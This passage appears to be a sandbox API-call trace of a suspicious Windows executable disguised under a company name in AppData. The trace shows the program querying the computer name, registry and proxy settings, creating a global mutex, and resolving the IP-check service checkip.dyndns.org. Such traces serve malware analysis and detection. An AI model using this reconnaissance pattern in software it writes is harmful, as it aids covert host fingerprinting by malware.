	[0181.423] GetLastError () returned 0x0
	[0181.424] setsockopt (s=0x38c, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0181.424] GetLastError () returned 0x273a
	[0181.424] closesocket (s=0x38c) returned 0
	[0181.424] GetLastError () returned 0x0
	[0181.424] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x0) returned 0x38c
	[0181.435] GetLastError () returned 0x0
	[0181.436] setsockopt (s=0x38c, level=65535, optname=128, optval="\x01", optlen=4) returned -1
	[0181.436] GetLastError () returned 0x273a
	[0181.436] closesocket (s=0x38c) returned 0
	[0181.436] GetLastError () returned 0x0
	[0181.439] GetCurrentProcess () returned 0xffffffff
	[0181.439] GetLastError () returned 0x3f0
	[0181.439] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae248 | out: TokenHandle=0x3ae248*=0x38c) returned 1
	[0181.439] GetLastError () returned 0x3f0
	[0181.440] GetCurrentProcess () returned 0xffffffff
	[0181.440] GetLastError () returned 0x3f0
	[0181.440] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae258 | out: TokenHandle=0x3ae258*=0x390) returned 1
	[0181.440] GetLastError () returned 0x3f0
	[0181.453] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", nBufferLength=0x105, lpBuffer=0x3ae054, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\DURA Automotive Systems Inc\\DURA Automotive Systems Inc.exe", lpFilePart=0x0) returned 0x5d
	[0181.453] GetLastError () returned 0x3f0
	[0181.455] GetCurrentProcessId () returned 0x7f0
	[0181.456] GetComputerNameW (in: lpBuffer=0x596f68, nSize=0x2403a98 | out: lpBuffer="XABNCPUWKW", nSize=0x2403a98) returned 1
	[0181.456] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.NET CLR Networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae4ac | out: phkResult=0x3ae4ac*=0x394) returned 0x0
	[0181.457] RegQueryValueExW (in: hKey=0x394, lpValueName="Library", lpReserved=0x0, lpType=0x3ae4f4, lpData=0x0, lpcbData=0x3ae4f0*=0x0 | out: lpType=0x3ae4f4*=0x1, lpData=0x0, lpcbData=0x3ae4f0*=0x1c) returned 0x0
	[0181.457] RegQueryValueExW (in: hKey=0x394, lpValueName="Library", lpReserved=0x0, lpType=0x3ae4f4, lpData=0x596f68, lpcbData=0x3ae4f0*=0x1c | out: lpType=0x3ae4f4*=0x1, lpData="netfxperf.dll", lpcbData=0x3ae4f0*=0x1c) returned 0x0
	[0181.457] RegQueryValueExW (in: hKey=0x394, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x3ae4f4, lpData=0x0, lpcbData=0x3ae4f0*=0x0 | out: lpType=0x3ae4f4*=0x4, lpData=0x0, lpcbData=0x3ae4f0*=0x4) returned 0x0
	[0181.458] RegQueryValueExW (in: hKey=0x394, lpValueName="IsMultiInstance", lpReserved=0x0, lpType=0x3ae4f4, lpData=0x3ae4e0, lpcbData=0x3ae4f0*=0x4 | out: lpType=0x3ae4f4*=0x4, lpData=0x3ae4e0*=0x1, lpcbData=0x3ae4f0*=0x4) returned 0x0
	[0181.458] RegQueryValueExW (in: hKey=0x394, lpValueName="First Counter", lpReserved=0x0, lpType=0x3ae4f4, lpData=0x0, lpcbData=0x3ae4f0*=0x0 | out: lpType=0x3ae4f4*=0x4, lpData=0x0, lpcbData=0x3ae4f0*=0x4) returned 0x0
	[0181.458] RegQueryValueExW (in: hKey=0x394, lpValueName="First Counter", lpReserved=0x0, lpType=0x3ae4f4, lpData=0x3ae4e0, lpcbData=0x3ae4f0*=0x4 | out: lpType=0x3ae4f4*=0x4, lpData=0x3ae4e0*=0x137a, lpcbData=0x3ae4f0*=0x4) returned 0x0
	[0181.458] RegCloseKey (hKey=0x394) returned 0x0
	[0181.458] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\.net clr networking\\Performance", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae4a8 | out: phkResult=0x3ae4a8*=0x394) returned 0x0
	[0181.458] RegQueryValueExW (in: hKey=0x394, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x3ae4f0, lpData=0x0, lpcbData=0x3ae4ec*=0x0 | out: lpType=0x3ae4f0*=0x4, lpData=0x0, lpcbData=0x3ae4ec*=0x4) returned 0x0
	[0181.458] RegQueryValueExW (in: hKey=0x394, lpValueName="CategoryOptions", lpReserved=0x0, lpType=0x3ae4f0, lpData=0x3ae4dc, lpcbData=0x3ae4ec*=0x4 | out: lpType=0x3ae4f0*=0x4, lpData=0x3ae4dc*=0x3, lpcbData=0x3ae4ec*=0x4) returned 0x0
	[0181.458] RegQueryValueExW (in: hKey=0x394, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x3ae4f0, lpData=0x0, lpcbData=0x3ae4ec*=0x0 | out: lpType=0x3ae4f0*=0x4, lpData=0x0, lpcbData=0x3ae4ec*=0x4) returned 0x0
	[0181.458] RegQueryValueExW (in: hKey=0x394, lpValueName="FileMappingSize", lpReserved=0x0, lpType=0x3ae4f0, lpData=0x3ae4dc, lpcbData=0x3ae4ec*=0x4 | out: lpType=0x3ae4f0*=0x4, lpData=0x3ae4dc*=0x20000, lpcbData=0x3ae4ec*=0x4) returned 0x0
	[0181.459] RegQueryValueExW (in: hKey=0x394, lpValueName="Counter Names", lpReserved=0x0, lpType=0x3ae4f0, lpData=0x0, lpcbData=0x3ae4ec*=0x0 | out: lpType=0x3ae4f0*=0x3, lpData=0x0, lpcbData=0x3ae4ec*=0xaa) returned 0x0
	[0181.459] RegQueryValueExW (in: hKey=0x394, lpValueName="Counter Names", lpReserved=0x0, lpType=0x3ae4f0, lpData=0x240623c, lpcbData=0x3ae4ec*=0xaa | out: lpType=0x3ae4f0*=0x3, lpData=0x240623c*, lpcbData=0x3ae4ec*=0xaa) returned 0x0
	[0181.461] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1
	[0181.462] GetLastError () returned 0x0
	[0181.467] VirtualQuery (in: lpAddress=0x43a0000, lpBuffer=0x3ae4c0, dwLength=0x1c | out: lpBuffer=0x3ae4c0*(BaseAddress=0x43a0000, AllocationBase=0x43a0000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c
	[0181.467] GetLastError () returned 0x0
	[0181.467] LocalFree (hMem=0x56dff0) returned 0x0
	[0181.467] RegCloseKey (hKey=0x394) returned 0x0
	[0181.468] GetVersionExW (in: lpVersionInformation=0x596f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x596f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0181.469] GetLastError () returned 0x0
	[0181.469] GetVersionExW (in: lpVersionInformation=0x596f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x596f68*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0181.469] GetLastError () returned 0x0
	[0181.470] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2406ce4, cbSid=0x3ae4a0 | out: pSid=0x2406ce4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae4a0) returned 1
	[0181.470] GetLastError () returned 0x0
	[0181.471] CreateMutexW (lpMutexAttributes=0x2406e34, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.471] GetLastError () returned 0x0
	[0181.472] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2407008, cbSid=0x3ae460 | out: pSid=0x2407008*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae460) returned 1
	[0181.472] GetLastError () returned 0x0
	[0181.472] CreateMutexW (lpMutexAttributes=0x2407118, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x0
	[0181.472] GetLastError () returned 0x5
	[0181.473] OpenMutexW (dwDesiredAccess=0x100001, bInheritHandle=0, lpName="Global\\.net clr networking") returned 0x3a0
	[0181.473] GetLastError () returned 0x5
	[0181.473] CloseHandle (hObject=0x3a0) returned 1
	[0181.473] GetLastError () returned 0x5
	[0181.474] GetCurrentProcessId () returned 0x7f0
	[0181.475] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7f0) returned 0x3a0
	[0181.475] GetLastError () returned 0x5
	[0181.476] GetProcessTimes (in: hProcess=0x3a0, lpCreationTime=0x3ae464, lpExitTime=0x3ae45c, lpKernelTime=0x3ae45c, lpUserTime=0x3ae45c | out: lpCreationTime=0x3ae464, lpExitTime=0x3ae45c, lpKernelTime=0x3ae45c, lpUserTime=0x3ae45c) returned 1
	[0181.476] GetLastError () returned 0x5
	[0181.476] CloseHandle (hObject=0x3a0) returned 1
	[0181.476] GetLastError () returned 0x5
	[0181.477] CloseHandle (hObject=0x394) returned 1
	[0181.477] GetLastError () returned 0x5
	[0181.477] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2407a9c, cbSid=0x3ae4a0 | out: pSid=0x2407a9c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae4a0) returned 1
	[0181.477] GetLastError () returned 0x5
	[0181.477] CreateMutexW (lpMutexAttributes=0x2407bac, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.477] GetLastError () returned 0x0
	[0181.479] CloseHandle (hObject=0x394) returned 1
	[0181.479] GetLastError () returned 0x0
	[0181.479] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x24084c4, cbSid=0x3ae4a0 | out: pSid=0x24084c4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae4a0) returned 1
	[0181.479] GetLastError () returned 0x0
	[0181.479] CreateMutexW (lpMutexAttributes=0x24085d4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.479] GetLastError () returned 0x0
	[0181.480] CloseHandle (hObject=0x394) returned 1
	[0181.480] GetLastError () returned 0x0
	[0181.480] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2408da4, cbSid=0x3ae4a0 | out: pSid=0x2408da4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae4a0) returned 1
	[0181.480] GetLastError () returned 0x0
	[0181.480] CreateMutexW (lpMutexAttributes=0x2408eb4, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.480] GetLastError () returned 0x0
	[0181.480] CloseHandle (hObject=0x394) returned 1
	[0181.480] GetLastError () returned 0x0
	[0181.480] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x240967c, cbSid=0x3ae4a0 | out: pSid=0x240967c*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae4a0) returned 1
	[0181.480] GetLastError () returned 0x0
	[0181.480] CreateMutexW (lpMutexAttributes=0x240978c, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.480] GetLastError () returned 0x0
	[0181.481] CloseHandle (hObject=0x394) returned 1
	[0181.481] GetLastError () returned 0x0
	[0181.481] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2409f18, cbSid=0x3ae498 | out: pSid=0x2409f18*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae498) returned 1
	[0181.481] GetLastError () returned 0x0
	[0181.481] CreateMutexW (lpMutexAttributes=0x240a028, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.481] GetLastError () returned 0x0
	[0181.481] CloseHandle (hObject=0x394) returned 1
	[0181.481] GetLastError () returned 0x0
	[0181.481] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x240a7c0, cbSid=0x3ae498 | out: pSid=0x240a7c0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae498) returned 1
	[0181.481] GetLastError () returned 0x0
	[0181.482] CreateMutexW (lpMutexAttributes=0x240a8d0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.482] GetLastError () returned 0x0
	[0181.482] CloseHandle (hObject=0x394) returned 1
	[0181.482] GetLastError () returned 0x0
	[0181.482] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x240b044, cbSid=0x3ae498 | out: pSid=0x240b044*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae498) returned 1
	[0181.482] GetLastError () returned 0x0
	[0181.482] CreateMutexW (lpMutexAttributes=0x240b154, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.482] GetLastError () returned 0x0
	[0181.482] CloseHandle (hObject=0x394) returned 1
	[0181.482] GetLastError () returned 0x0
	[0181.482] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x240b8d8, cbSid=0x3ae498 | out: pSid=0x240b8d8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae498) returned 1
	[0181.482] GetLastError () returned 0x0
	[0181.482] CreateMutexW (lpMutexAttributes=0x240b9e8, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.482] GetLastError () returned 0x0
	[0181.483] CloseHandle (hObject=0x394) returned 1
	[0181.483] GetLastError () returned 0x0
	[0181.483] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x240c164, cbSid=0x3ae498 | out: pSid=0x240c164*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3ae498) returned 1
	[0181.483] GetLastError () returned 0x0
	[0181.483] CreateMutexW (lpMutexAttributes=0x240c274, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x394
	[0181.483] GetLastError () returned 0x0
	[0181.483] CloseHandle (hObject=0x394) returned 1
	[0181.483] GetLastError () returned 0x0
	[0181.485] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x394
	[0181.485] GetLastError () returned 0x0
	[0181.485] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a0
	[0181.485] GetLastError () returned 0x0
	[0181.486] ioctlsocket (in: s=0x394, cmd=-2147195266, argp=0x3ae6e4 | out: argp=0x3ae6e4) returned 0
	[0181.486] GetLastError () returned 0x0
	[0181.487] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3a4
	[0181.487] GetLastError () returned 0x0
	[0181.487] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3a8
	[0181.487] GetLastError () returned 0x0
	[0181.487] ioctlsocket (in: s=0x3a4, cmd=-2147195266, argp=0x3ae6e4 | out: argp=0x3ae6e4) returned 0
	[0181.487] GetLastError () returned 0x0
	[0181.488] WSAIoctl (in: s=0x394, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ae6c8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ae6c8, lpOverlapped=0x0) returned -1
	[0181.488] GetLastError () returned 0x2733
	[0181.489] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x596f68, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0181.804] GetLastError () returned 0x2733
	[0181.805] WSAEventSelect (s=0x394, hEventObject=0x3a0, lNetworkEvents=512) returned 0
	[0181.805] GetLastError () returned 0x0
	[0181.805] WSAIoctl (in: s=0x3a4, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x3ae6c8, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x3ae6c8, lpOverlapped=0x0) returned -1
	[0181.805] GetLastError () returned 0x2733
	[0181.805] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x596f68, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45
	[0181.805] GetLastError () returned 0x2733
	[0181.806] WSAEventSelect (s=0x3a4, hEventObject=0x3a8, lNetworkEvents=512) returned 0
	[0181.807] GetLastError () returned 0x0
	[0181.807] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3ac
	[0181.807] GetLastError () returned 0x0
	[0181.808] RasConnectionNotificationW (param_1=0xffffffff, param_2=0x3ac, param_3=0x3) returned 0x0
	[0181.813] RegOpenCurrentUser (in: samDesired=0x20019, phkResult=0x3ae6ac | out: phkResult=0x3ae6ac*=0x3c4) returned 0x0
	[0181.813] GetLastError () returned 0x0
	[0181.814] RegOpenKeyExW (in: hKey=0x3c4, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae668 | out: phkResult=0x3ae668*=0x3c8) returned 0x0
	[0181.814] GetLastError () returned 0x0
	[0181.814] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3cc
	[0181.814] GetLastError () returned 0x0
	[0181.815] RegNotifyChangeKeyValue (hKey=0x3c8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3cc, fAsynchronous=1) returned 0x0
	[0181.815] GetLastError () returned 0x0
	[0181.816] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae668 | out: phkResult=0x3ae668*=0x3d0) returned 0x0
	[0181.817] GetLastError () returned 0x0
	[0181.817] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d4
	[0181.817] GetLastError () returned 0x0
	[0181.817] RegNotifyChangeKeyValue (hKey=0x3d0, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3d4, fAsynchronous=1) returned 0x0
	[0181.817] GetLastError () returned 0x0
	[0181.817] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ae668 | out: phkResult=0x3ae668*=0x3d8) returned 0x0
	[0181.817] GetLastError () returned 0x0
	[0181.817] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3dc
	[0181.817] GetLastError () returned 0x0
	[0181.817] RegNotifyChangeKeyValue (hKey=0x3d8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3dc, fAsynchronous=1) returned 0x0
	[0181.817] GetLastError () returned 0x0
	[0181.817] GetCurrentProcess () returned 0xffffffff
	[0181.817] GetLastError () returned 0x3f0
	[0181.817] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae650 | out: TokenHandle=0x3ae650*=0x3e0) returned 1
	[0181.817] GetLastError () returned 0x3f0
	[0181.820] GetCurrentProcess () returned 0xffffffff
	[0181.820] GetLastError () returned 0x3f0
	[0181.820] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae26c | out: TokenHandle=0x3ae26c*=0x3e4) returned 1
	[0181.820] GetLastError () returned 0x3f0
	[0181.820] GetCurrentProcess () returned 0xffffffff
	[0181.820] GetLastError () returned 0x3f0
	[0181.821] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae27c | out: TokenHandle=0x3ae27c*=0x3e8) returned 1
	[0181.821] GetLastError () returned 0x3f0
	[0181.855] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x52e3e0 | out: pProxyConfig=0x52e3e0) returned 1
	[0181.919] GetLastError () returned 0x0
	[0181.932] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae5e4*=0x3ac, lpdwindex=0x3ae39c | out: lpdwindex=0x3ae39c) returned 0x80010115
	[0181.933] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae5c4*=0x3a0, lpdwindex=0x3ae37c | out: lpdwindex=0x3ae37c) returned 0x80010115
	[0181.933] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae5c4*=0x3a8, lpdwindex=0x3ae37c | out: lpdwindex=0x3ae37c) returned 0x80010115
	[0181.934] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae618*=0x3cc, lpdwindex=0x3ae3d0 | out: lpdwindex=0x3ae3d0) returned 0x80010115
	[0181.934] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae618*=0x3d4, lpdwindex=0x3ae3d0 | out: lpdwindex=0x3ae3d0) returned 0x80010115
	[0181.934] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3ae618*=0x3dc, lpdwindex=0x3ae3d0 | out: lpdwindex=0x3ae3d0) returned 0x80010115
	[0181.937] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x1, ppwstrAutoConfigUrl=0x3ae604 | out: ppwstrAutoConfigUrl=0x3ae604*=0x0) returned 0
	[0190.934] GetLastError () returned 0x2f94
	[0190.934] WinHttpDetectAutoProxyConfigUrl (in: dwAutoDetectFlags=0x2, ppwstrAutoConfigUrl=0x3ae604 | out: ppwstrAutoConfigUrl=0x3ae604*=0x0) returned 0
	[0193.568] GetLastError () returned 0x2f94
	[0193.571] GetCurrentProcess () returned 0xffffffff
	[0193.571] GetLastError () returned 0x3f0
	[0193.571] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae2a4 | out: TokenHandle=0x3ae2a4*=0x450) returned 1
	[0193.571] GetLastError () returned 0x3f0
	[0193.572] GetCurrentProcess () returned 0xffffffff
	[0193.572] GetLastError () returned 0x3f0
	[0193.572] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae2b4 | out: TokenHandle=0x3ae2b4*=0x420) returned 1
	[0193.572] GetLastError () returned 0x3f0
	[0193.581] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x3ae604 | out: pFixedInfo=0x0, pOutBufLen=0x3ae604) returned 0x6f
	[0193.596] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x5af3d8
	[0193.596] GetLastError () returned 0x0
	[0193.596] GetNetworkParams (in: pFixedInfo=0x5af3d8, pOutBufLen=0x3ae604 | out: pFixedInfo=0x5af3d8, pOutBufLen=0x3ae604) returned 0x0
	[0193.608] inet_addr (cp="192.168.0.1") returned 0x100a8c0
	[0193.608] GetLastError () returned 0x0
	[0193.609] LocalFree (hMem=0x5af3d8) returned 0x0
	[0193.609] GetLastError () returned 0x0
	[0193.611] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x45c
	[0193.611] GetLastError () returned 0x0
	[0193.612] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x458
	[0193.612] GetLastError () returned 0x0
	[0193.614] getaddrinfo (in: pNodeName="checkip.dyndns.org", pServiceName=0x0, pHints=0x3ae4e0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x3ae274 | out: ppResult=0x3ae274*=0x4ed49b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="checkip.dyndns.com", ai_addr=0x4ed4a38*(sa_family=2, sin_port=0x0, sin_addr="216.146.38.70"), ai_next=0x4ed4a50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4ed4a78*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.71"), ai_next=0x4ed4a90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4ed4ab8*(sa_family=2, sin_port=0x0, sin_addr="91.198.22.70"), ai_next=0x4ed4ba8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4ed4bd0*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.70"), ai_next=0x0))))) returned 0
	[0193.626] GetLastError () returned 0x0
	[0193.626] FreeAddrInfoW (pAddrInfo=0x4ed49b8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="档捥楫⹰祤摮獮挮浯", ai_addr=0x4ed4a38*(sa_family=2, sin_port=0x0, sin_addr="216.146.38.70"), ai_next=0x4ed4a50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4ed4a78*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.71"), ai_next=0x4ed4a90*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4ed4ab8*(sa_family=2, sin_port=0x0, sin_addr="91.198.22.70"), ai_next=0x4ed4ba8*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x4ed4bd0*(sa_family=2, sin_port=0x0, sin_addr="216.146.43.70"), ai_next=0x0))))) 
	[0193.626] GetLastError () returned 0x0
	[0193.626] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x460
	[0193.627] GetLastError () returned 0x0
	[0193.627] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x46c
	[0193.627] GetLastError () returned 0x0
	[0193.627] ioctlsocket (in: s=0x460, cmd=-2147195266, argp=0x3ae4c4 | out: argp=0x3ae4c4) returned 0
	[0193.627] GetLastError () returned 0x0
	[0193.627] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470
	[0193.627] GetLastError () returned 0x0
	[0193.627] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x474
	[0193.627] GetLastError () returned 0x0
	[0193.627] ioctlsocket (in: s=0x470, cmd=-2147195266, argp=0x3ae4c4 | out: argp=0x3ae4c4) returned 0
	[0193.627] GetLastError () returned 0x0
